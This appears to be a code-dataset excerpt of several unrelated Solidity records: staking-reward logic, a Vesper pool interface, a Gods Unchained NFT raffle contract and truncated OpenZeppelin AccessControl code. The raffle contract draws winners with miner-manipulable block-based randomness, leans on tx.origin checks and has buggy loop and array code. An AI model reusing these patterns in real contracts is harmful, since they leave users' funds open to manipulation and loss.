= _rewardTokens.length; uint256 _amountsLen = _rewardAmounts.length; uint256 _durationsLen = _rewardDurations.length; require(_len != 0, "invalid-reward-tokens"); require(_amountsLen != 0, "invalid-reward-amounts"); require(_durationsLen != 0, "invalid-reward-durations"); require(_len == _amountsLen && _len == _durationsLen, "array-length-mismatch"); for (uint256 i = 0; i < _len; i++) { _notifyRewardAmount(_rewardTokens[i], _rewardAmounts[i], _rewardDurations[i], _totalSupply); } } function _notifyRewardAmount( address _rewardToken, uint256 _rewardAmount, uint256 _rewardDuration, uint256 _totalSupply ) internal { require(_rewardToken != address(0), "incorrect-reward-token"); require(_rewardAmount != 0, "incorrect-reward-amount"); require(_rewardDuration != 0, "incorrect-reward-duration"); require(isRewardToken[_rewardToken], "invalid-reward-token"); // Update rewards earned so far rewardPerTokenStored[_rewardToken] = _rewardPerToken(_rewardToken, _totalSupply); if (block.timestamp >= periodFinish[_rewardToken]) { rewardRates[_rewardToken] = _rewardAmount / _rewardDuration; } else { uint256 remainingPeriod = periodFinish[_rewardToken] - block.timestamp; uint256 leftover = remainingPeriod * rewardRates[_rewardToken]; rewardRates[_rewardToken] = (_rewardAmount + leftover) / _rewardDuration; } // Safety check uint256 balance = IERC20(_rewardToken).balanceOf(address(this)); require(rewardRates[_rewardToken] <= (balance / _rewardDuration), "rewards-too-high"); // Start new drip time rewardDuration[_rewardToken] = _rewardDuration; lastUpdateTime[_rewardToken] = block.timestamp; periodFinish[_rewardToken] = block.timestamp + _rewardDuration; emit RewardAdded(_rewardToken, _rewardAmount, _rewardDuration); } function _rewardPerToken(address _rewardToken, uint256 _totalSupply) internal view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored[_rewardToken]; } uint256 _timeSinceLastUpdate = lastTimeRewardApplicable(_rewardToken) - lastUpdateTime[_rewardToken]; uint256 _rewardsSinceLastUpdate = _timeSinceLastUpdate * rewardRates[_rewardToken]; uint256 _rewardsPerTokenSinceLastUpdate = (_rewardsSinceLastUpdate * 1e18) / _totalSupply; return rewardPerTokenStored[_rewardToken] + _rewardsPerTokenSinceLastUpdate; } function _updateReward( address _rewardToken, address _account, uint256 _totalSupply, uint256 _balance ) internal { uint256 _rewardPerTokenStored = _rewardPerToken(_rewardToken, _totalSupply); rewardPerTokenStored[_rewardToken] = _rewardPerTokenStored; lastUpdateTime[_rewardToken] = lastTimeRewardApplicable(_rewardToken); if (_account != address(0)) { rewards[_rewardToken][_account] = _claimable(_rewardToken, _account, _totalSupply, _balance); userRewardPerTokenPaid[_rewardToken][_account] = _rewardPerTokenStored; } } }
Function to get pricePerShare from V2 pools
interface IVesperPool is IERC20 { function calculateUniversalFee(uint256 _profit) external view returns (uint256 _fee); function deposit() external payable; function deposit(uint256 _share) external; function multiTransfer(address[] memory _recipients, uint256[] memory _amounts) external returns (bool); function excessDebt(address _strategy) external view returns (uint256); function permit( address, address, uint256, uint256, uint8, bytes32, bytes32 ) external; function poolRewards() external returns (address); function reportEarning( uint256 _profit, uint256 _loss, uint256 _payback ) external; function reportLoss(uint256 _loss) external; function resetApproval() external; function sweepERC20(address _fromToken) external; function withdraw(uint256 _amount) external; function withdrawETH(uint256 _amount) external; function whitelistedWithdraw(uint256 _amount) external; function governor() external view returns (address); function keepers() external view returns (address[] memory); function isKeeper(address _address) external view returns (bool); function maintainers() external view returns (address[] memory); function isMaintainer(address _address) external view returns (bool); function pricePerShare() external view returns (uint256); function strategy(address _strategy) external view returns ( bool _active, uint256 interestFeeObsolete, uint256 _debtRate, uint256 _lastRebalance, uint256 _totalDebt, uint256 _totalLoss, uint256 _totalProfit, uint256 _debtRatio, uint256 _externalDepositFee ); function stopEverything() external view returns (bool); function token() external view returns (IERC20); function tokensHere() external view returns (uint256); function totalDebtOf(address _strategy) external view returns (uint256); function totalValue() external view returns (uint256); function getPricePerShare() external view returns (uint256); } }
11,983,083
pragma solidity 0.5.11; /** * @title Gods Unchained ERC-721 Token Raffle * @author Unchained Games */ contract RaffleMarket { // You can't win the raffle if you don't buy a ticket // ==== EVENTS ==== // /** * @dev OnBuyRaffleTickets emits an event when raffle tickets are purchased * * @param _raffleId - The raffle ID * @param _ticketHolder - Address buying raffle tickets * @param _tickets - Number of raffle tickets purchased */ event OnBuyRaffleTickets( uint256 indexed _raffleId, address indexed _ticketHolder, uint256 _tickets ); /** * @dev OnCancelRaffle emits an event when a host cancels a raffle * * @param _raffleId - The raffle ID * @param _host - The raffle Host */ event OnCancelRaffle( uint256 indexed _raffleId, address indexed _host ); /** * @dev OnCreateRaffle emits an event when a raffle is created * * @param _raffleId - The raffle ID * @param _tokenId - The token ID * @param _host - The host of the raffle * @param _costPerTicket - Cost in wei of a raffle ticket * @param _minimumTickets - Minimum number of tickets needed to select a raffle winner */ event OnCreateRaffle( uint256 indexed _raffleId, uint256 indexed _tokenId, address indexed _host, uint256 _costPerTicket, uint256 _minimumTickets ); /** * @dev OnDeleteTickets emits an event when raffle tickets are deleted * * @param _expiredRaffleId - An expired raffle ID * @param _tickets - Number of raffle tickets deleted */ event OnDeleteTickets( uint256 indexed _expiredRaffleId, uint256 _tickets ); /** * @dev OnRaffleWinner emits an event when a winning raffle ticket is selected * * @param _raffleId - The raffle ID * @param _winner - The raffle winner * @param _random - Randomly selected index * @param _payout - Amount of wei sent to the host * @param _contribution - Amount of wei sent to the treasury */ event OnRaffleWinner( uint256 indexed _raffleId, address indexed _winner, uint256 _random, uint256 _payout, uint256 _contribution ); /** * @dev OnRefundTickets emits an event when raffle tickets are refunded * * @param _raffleId - The ID of some raffle * @param _quantity - The number of tickets to refund */ event OnRefundTickets( uint256 _raffleId, uint256 _quantity ); /** * @dev OnRemoveAdmin emits an event when an admin is removed * * @param _admin - The removed admin */ event OnRemoveAdmin( address _admin ); /** * @dev OnSetAdmin emits an event when an admin address is set * * @param _admin - The new admin */ event OnSetAdmin( address _admin ); /** * @dev OnSetMinimumCostPerTicket emits an event when minimum cost per ticket is updated * * @param _minimumCostPerTicket - The minimum cost in wei for a raffle ticket */ event OnSetMinimumCostPerTicket( uint256 _minimumCostPerTicket ); /** * @dev OnSetTokenAddress emits an event when the token address is set in the constructor * * @param _tokenAddress - The ERC721 token address */ event OnSetTokenAddress( address _tokenAddress ); /** * @dev OnSetTreasury emits an event when the treasury is updated * * @param _treasury - The treasury address */ event OnSetTreasury( address _treasury ); /** * @dev OnSetContributionPercent emits an event when the contribution percent is updated * For example a contributionPercent of 25 is equal to 2.5% * * @param _contributionPercent - The contribution percent */ event OnSetContributionPercent( uint256 _contributionPercent ); /** * @dev OnWithdrawRaffleTickets emits an event when raffle tickets are withdrawn * * @param _raffleId - The raffle ID * @param _ticketHolder - The ticket holder that withdrew raffle tickets * @param _indexes - The indexes of withdrawn tickets */ event OnWithdrawRaffleTickets( uint256 indexed _raffleId, address indexed _ticketHolder, uint256[] _indexes ); /** * @dev Raffle is a struct containing information about a given raffle * * @param tokenId - An ERC721 token ID to be raffled * @param host - Address of the wallet hosting the raffle * @param costPerTicket - The cost of a ticket in wei * @param minimumTickets - The minimum number of tickets to activate a raffle * @param participants - An array of ticket holder addresses participating in the raffle */ struct Raffle { uint256 tokenId; address host; uint256 costPerTicket; uint256 minimumTickets; address payable[] participants; } // ==== GLOBAL PUBLIC VARIABLES ==== // // Mapping raffle ID to Raffle mapping(uint256 => Raffle) public raffles; /** * @dev contributionPercent is the percent of a raffle contributed to the treasury */ uint256 public contributionPercent; /** * @dev minRaffleTicketCost is the minimum amount of wei a raffle ticket can cost */ uint256 public minRaffleTicketCost; /** * @dev tokenAddress is the ERC721 Token address eligible to raffle */ address public tokenAddress; /** * @dev tokenInterface interfaces with the ERC721 */ interfaceERC721 public tokenInterface; /** * @dev totalRaffles is the total number of raffles that have been created */ uint256 public totalRaffles; // ==== GLOBAL VARIABLES PRIVATE ==== // // Mapping admin address to boolean mapping(address => bool) private admin; /** * @dev treasury is the address where contributions are sent */ address payable private treasury; // ==== CONSTRUCTOR ==== // /** * @dev constructor runs once during contract deployment * * @param _contributionPercent - Percent of a raffle contributed to the treasury * @param _minRaffleTicketCost - Minimum cost of a raffle ticket in wei * @param _tokenAddress - The token address eligible to Raffle * @param _treasury - Address where contributions are sent */ constructor(uint256 _contributionPercent, uint256 _minRaffleTicketCost, address _tokenAddress, address payable _treasury) public { admin[msg.sender] = true; tokenInterface = interfaceERC721(_tokenAddress); setAdmin(msg.sender); setContributionPercent(_contributionPercent); setMinRaffleTicketCost(_minRaffleTicketCost); setTokenAddress(_tokenAddress); setTreasury(_treasury); } // ==== MODIFIERS ==== // /** * @dev onlyAdmin requires the msg.sender to be an admin */ modifier onlyAdmin() { require(admin[msg.sender], "only admins"); _; } /** * @dev onlyEOA requires msg.sender to be an externally owned account */ modifier onlyEOA() { require(msg.sender == tx.origin, "only externally owned accounts"); _; } // ==== PUBLIC WRITE FUNCTIONS ==== // /** * @dev activateRaffle draws a winning raffle ticket * * @param raffleId - The Raffle ID */ function activateRaffle(uint256 raffleId) public onlyEOA { // Reference the raffle Raffle storage raffle = raffles[raffleId]; // Require minimum number of tickets before drawing a winning raffle ticket require(raffle.participants.length >= raffle.minimumTickets, "requires minimum number of tickets"); selectWinningTicket(raffleId); } /** * @dev activateRaffleAsHost allows the host to activate a raffle at any time * * @param raffleId - The Raffle ID */ function activateRaffleAsHost(uint256 raffleId) public onlyEOA { // Reference the raffle Raffle storage raffle = raffles[raffleId]; // Require raffle host to be the msg.sender require(raffle.host == msg.sender, "only the raffle host can activate"); // Raffle must have at least one ticket require(raffle.participants.length >= 1, "at least one participant needed to raffle"); selectWinningTicket(raffleId); } /** * @dev buyRaffleTickets buys tickets for a given raffle * * @param raffleId - The Raffle ID */ function buyRaffleTickets(uint256 raffleId) public payable onlyEOA { // Reference to the raffle Raffle storage raffle = raffles[raffleId]; // Require a valid raffle require(raffle.host != address(0), "invalid raffle"); // Confirm amount of ETH sent is enough for a ticket require(msg.value >= raffle.costPerTicket, "must send enough ETH for at least 1 ticket"); // Calculate total tickets based on msg.value and ticket cost uint256 tickets = msg.value / raffle.costPerTicket; // Calculate any change uint256 remainder = msg.value % raffle.costPerTicket; // Add tickets to the raffle for (uint256 i = 0; i < tickets; i++) { raffle.participants.push(msg.sender); } // return change back to the address buying tickets if (remainder > 0) { msg.sender.transfer(remainder); } emit OnBuyRaffleTickets(raffleId, msg.sender, tickets); } /** * @dev cancelRaffle transfers the token back to the raffle host and deletes the raffle * * @param raffleId - The Raffle ID */ function cancelRaffle(uint256 raffleId) public { // Reference the raffle Raffle storage raffle = raffles[raffleId]; // Require the raffle host is the message sender require(raffle.host == msg.sender, "raffle host only"); // Require no participants in the raffle require(raffle.participants.length == 0, "must be no participants in attendance"); // Store token ID uint256 tokenId = raffle.tokenId; // Delete the raffle deleteRaffle(raffleId); // Transfer the token to the host tokenInterface.transferFrom(address(this), msg.sender, tokenId); emit OnCancelRaffle(raffleId, msg.sender); } /** * @dev deleteAndBuyRaffleTickets deletes old storage and buys tickets for a given raffle to save gas * * @param expiredRaffleId - Expired Raffle ID * @param tickets - Total number of expired raffle tickets to delete * @param raffleId - Raffle ID to buy tickets for */ function deleteAndBuyRaffleTickets(uint256 expiredRaffleId, uint256 tickets, uint256 raffleId) public payable { // Reference the expired raffle Raffle storage raffle = raffles[expiredRaffleId]; // Require the raffle has ended require(raffle.host == address(0), "raffle expired"); // Handle deleting expired raffle tickets to free up storage if (raffle.participants.length > tickets) { do { raffle.participants.pop(); } while (raffle.participants.length < raffle.participants.length - tickets); emit OnDeleteTickets(expiredRaffleId, tickets); } else if (raffle.participants.length > 0) { do { raffle.participants.pop(); } while (raffle.participants.length > 0); emit OnDeleteTickets(expiredRaffleId, raffle.participants.length); } buyRaffleTickets(raffleId); } /** * @dev withdrawRaffleTickets allows a ticket holder to withdraw their tickets before a raffle is activated * * @param raffleId - The Raffle ID * @param indexes - Index of each ticket to withdraw */ function withdrawRaffleTickets(uint256 raffleId, uint256[] memory indexes) public { // Reference the raffle Raffle storage raffle = raffles[raffleId]; // Require a valid raffle require(raffle.host != address(0), "invalid raffle"); // Require a least one ticket to withdraw require(indexes.length > 0, "must be greater than 0"); // Loop through each ticket to withdraw for(uint256 i = 0; i < indexes.length; i++) { // Require sender to be the owner of the ticket require(raffle.participants[indexes[i]] == msg.sender, "must be ticket owner"); // Require indexes are sorted from highest index to lowest index if (i > 0) { require(indexes[i] < indexes[i - 1], "must be sorted from highest index to lowest index"); } // Set the ticket's index to equal the value of the last ticket raffle.participants[indexes[i]] = raffle.participants[raffle.participants.length - 1]; // Delete the last index raffle.participants.pop(); } emit OnWithdrawRaffleTickets(raffleId, msg.sender, indexes); // Send refund to the ticket holder msg.sender.transfer(indexes.length * raffle.costPerTicket); } /** * @dev refundRaffleTickets allows a raffle host to refund raffle tickets in order to cancel a raffle * * @param raffleId - The Raffle ID * @param quantity - Number of tickets to refund */ function refundRaffleTickets(uint256 raffleId, uint256 quantity) public { // Reference the raffle Raffle storage raffle = raffles[raffleId]; // Require raffle host to be the message sender require(raffle.host == msg.sender, "must be raffle host"); // Require at least one ticket to refund require(quantity > 0, "must refund at least one ticket"); // Require tickets in raffle to refund require(raffle.participants.length > 0, "must have participants to refund"); // Number of tickets to refund uint256 numberOfTicketsToRefund = quantity; // Check quantity of raffle tickets if (quantity > raffle.participants.length) { numberOfTicketsToRefund = raffle.participants.length; } // Loop through each raffle ticket to refund for(uint256 i = 0; i < numberOfTicketsToRefund; i++) { // Store reference to the last participant address payable participant = raffle.participants[raffle.participants.length - 1]; // Delete the last index raffle.participants.pop(); // Transfer raffle cost to the participant participant.transfer(raffle.costPerTicket); } emit OnRefundTickets(raffleId, quantity); } // ==== PUBLIC READ FUNCTIONS ==== // /** * @dev getRaffle gets info from a given raffle * * @param raffleId - The Raffle ID * * @return _tokenId - ERC721 Token ID * @return _host - Address hosting the raffle * @return _costPerTicket - The cost in wei for a raffle ticket * @return _minimumTickets - The minimum number of tickets needed to activate a raffle * @return _participants - The current number of tickets in the raffle */ function getRaffle(uint256 raffleId) public view returns(uint256 _tokenId, address _host, uint256 _costPerTicket, uint256 _minimumTickets, uint256 _participants) { Raffle storage raffle = raffles[raffleId]; _tokenId = raffle.tokenId; _host = raffle.host; _costPerTicket = raffle.costPerTicket; _minimumTickets = raffle.minimumTickets; _participants = raffle.participants.length; } /** * @dev getRaffles gets info from a list of raffles * * @param raffleIds - List of Raffle IDs * * @return _tokenId - List of Token IDs * @return _host - List of addresses hosting the raffle * @return _costPerTicket - List of costs in wei for a raffle ticket * @return _minimumTickets - List of minimum number of tickets needed to activate a raffle * @return _participants - List of current number of tickets in the raffle */ function getRaffles(uint256[] memory raffleIds) public view returns(uint256[] memory _tokenId, address[] memory _host, uint256[] memory _costPerTicket, uint256[] memory _minimumTickets, uint256[] memory _participants) { for(uint256 i = 0; i < raffleIds.length; i++) { Raffle storage raffle = raffles[raffleIds[i]]; _tokenId[i] = raffle.tokenId; _host[i] = raffle.host; _costPerTicket[i] = raffle.costPerTicket; _minimumTickets[i] = raffle.minimumTickets; _participants[i] = raffle.participants.length; } } // ==== ADMIN FUNCTIONS ==== // /** * @dev setContributionPercent sets the percent of a raffle contributed to the treasury * Example: A contributionPercent of 25 is equal to 2.5% * * @param _contributionPercent - Percent of a raffle to contribute to the treasury */ function setContributionPercent(uint256 _contributionPercent) public onlyAdmin { require(_contributionPercent < 500, "Can not exceed 50%"); contributionPercent = _contributionPercent; emit OnSetContributionPercent(_contributionPercent); } /** * @dev setMinRaffleTicketCost sets the minimum cost of a raffle ticket in wei * * @param _minRaffleTicketCost - The minimum allowable cost of a raffle ticket */ function setMinRaffleTicketCost(uint256 _minRaffleTicketCost) public onlyAdmin { minRaffleTicketCost = _minRaffleTicketCost; emit OnSetMinimumCostPerTicket(_minRaffleTicketCost); } /** * @dev setAdmin sets a new admin * * @param _admin - The new admin address */ function setAdmin(address _admin) public onlyAdmin { admin[_admin] = true; emit OnSetAdmin(_admin); } /** * @dev removeAdmin removes an existing admin * * @param _admin - The admin address to remove */ function removeAdmin(address _admin) public onlyAdmin { require(msg.sender != _admin, "self deletion not allowed"); delete admin[_admin]; emit OnRemoveAdmin(_admin); } /** * @dev setTreasury sets the treasury address * * @param _treasury - The treasury address */ function setTreasury(address payable _treasury) public onlyAdmin { treasury = _treasury; emit OnSetTreasury(_treasury); } // ==== EXTERNAL FUNCTIONS ==== // /** * @dev onERC721Received handles receiving an ERC721 token * * _operator - The address which called `safeTransferFrom` function * @param _from - The address which previously owned the token * @param _tokenId - The NFT IDentifier which is being transferred * @param _data - Additional data with no specified format * * @return Receipt */ function onERC721Received(address /*_operator*/, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4) { // Require the token address is authorized require(msg.sender == tokenAddress, "must be the token address"); // Require host is an externally owned account require(tx.origin == _from, "token owner must be an externally owned account"); // Parse data payload (uint256 costPerTicket, uint256 minimumTickets) = abi.decode(_data, (uint256, uint256)); // Create a raffle createRaffle(_tokenId, _from, costPerTicket, minimumTickets); // ERC721_RECEIVED Receipt (magic value) return 0x150b7a02; } // ==== PRIVATE FUNCTIONS ==== // /** * @dev createRaffle creates a new raffle * * @param tokenId - ERC721 Token ID * @param host - The host of the raffle * @param costPerTicket - The cost of one raffle ticket * @param minimumTickets - The minimum number of tickets needed for a raffle */ function createRaffle(uint256 tokenId, address host, uint256 costPerTicket, uint256 minimumTickets) private { // Require the cost of a ticket to be greater than or equal to the minimum cost of a raffle ticket require(costPerTicket >= minRaffleTicketCost, "ticket price must meet the minimum"); // Require at least one ticket to create a raffle require(minimumTickets > 0, "must set at least one raffle ticket"); // Increment total raffles totalRaffles = totalRaffles + 1; uint256 raffleId = totalRaffles; // Creates a raffle raffles[raffleId] = Raffle({ tokenId: tokenId, host: host, costPerTicket: costPerTicket, minimumTickets: minimumTickets, participants: new address payable[](0) }); // Emit event when a raffle is created emit OnCreateRaffle(raffleId, tokenId, host, costPerTicket, minimumTickets); } /** * @dev deleteRaffle invalidates a given raffle * * @param raffleId - The Raffle ID */ function deleteRaffle(uint256 raffleId) private { // Delete the raffle delete raffles[raffleId].tokenId; delete raffles[raffleId].host; delete raffles[raffleId].costPerTicket; delete raffles[raffleId].minimumTickets; } /** * @dev selectWinningTicket selects the winning ticket for a given raffle * * @param raffleId - The Raffle ID */ function selectWinningTicket(uint256 raffleId) private { // Reference the raffle Raffle storage raffle = raffles[raffleId]; // Get a random number based on total participants (uint256 random) = getRandom(raffle.participants.length); // Select a winner at random address winner = raffle.participants[random]; // Confirm winner is a participant assert(winner != address(0)); // The total amount of ETH allocated to the raffle uint256 pot = raffle.participants.length * raffle.costPerTicket; // Amount to contribute to the treasury uint256 contribution = (pot * contributionPercent) / 1000; // Amount to payout to the host uint256 payout = pot - contribution; // Cast host address as payable address payable host = address(uint160(raffle.host)); // Store the token ID uint256 tokenId = raffle.tokenId; // Delete the raffle deleteRaffle(raffleId); // Transfer prize to the raffle winner interfaceERC721(tokenAddress).transferFrom(address(this), winner, tokenId); // Assert the winner is now the owner of the prize assert(tokenInterface.ownerOf(tokenId) == winner); // Transfer contribution to the treasury treasury.transfer(contribution); // Transfer pot to the raffle host host.transfer(payout); emit OnRaffleWinner(raffleId, winner, random, payout, contribution); } /** * @dev getRandom generates a random integer from 0 to (max - 1) * * @param max - Maximum number of integers to select from * @return random - The randomly selected integer */ function getRandom(uint256 max) private view returns(uint256 random) { // Blockhash from last block uint256 blockhash_ = uint256(blockhash(block.number - 1)); // Contract balance uint256 balance = address(this).balance; // Randomly generated integer random = uint256(keccak256(abi.encodePacked( // Unix timestamp in seconds block.timestamp, // Address of the block miner block.coinbase, // Difficulty of the block block.difficulty, // Blockhash from last block blockhash_, // Contract balance balance ))) % max; } /** * @dev setTokenAddress sets the ERC721 token address once from the constructor * * @param _tokenAddress - The ERC721 token address */ function setTokenAddress(address _tokenAddress) private { tokenAddress = _tokenAddress; emit OnSetTokenAddress(_tokenAddress); } } // ==== INTERFACE ==== // /** * @title Abstract Contract Interface */ contract interfaceERC721 { function transferFrom(address from, address to, uint256 tokenId) public; function ownerOf(uint256 tokenId) public view returns (address); }
createRaffle creates a new raffle tokenId - ERC721 Token ID host - The host of the raffle costPerTicket - The cost of one raffle ticket minimumTickets - The minimum number of tickets needed for a raffle/ Require the cost of a ticket to be greater than or equal to the minimum cost of a raffle ticket Require at least one ticket to create a raffle Increment total raffles Creates a raffle
function createRaffle(uint256 tokenId, address host, uint256 costPerTicket, uint256 minimumTickets) private { require(costPerTicket >= minRaffleTicketCost, "ticket price must meet the minimum"); require(minimumTickets > 0, "must set at least one raffle ticket"); totalRaffles = totalRaffles + 1; uint256 raffleId = totalRaffles; raffles[raffleId] = Raffle({ tokenId: tokenId, host: host, costPerTicket: costPerTicket, minimumTickets: minimumTickets, participants: new address payable[](0) }); }
944,823
/** *Submitted for verification at Etherscan.io on 2021-12-20 */ // Sources flattened with hardhat v2.4.3 https://hardhat.org // File openzeppelin-solidity/contracts/utils/[email protected] // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File openzeppelin-solidity/contracts/utils/[email protected] pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File openzeppelin-solidity/contracts/utils/introspection/[email protected] pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File openzeppelin-solidity/contracts/utils/introspection/[email protected] pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File openzeppelin-solidity/contracts/access/[email protected] pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping (address => bool) members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if(!hasRole(role, account)) { revert(string(abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ))); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // File openzeppelin-solidity/contracts/governance/[email protected] pragma solidity ^0.8.0; /** * @dev Contract module which acts as a timelocked controller. When set as the * owner of an `Ownable` smart contract, it enforces a timelock on all * `onlyOwner` maintenance operations. 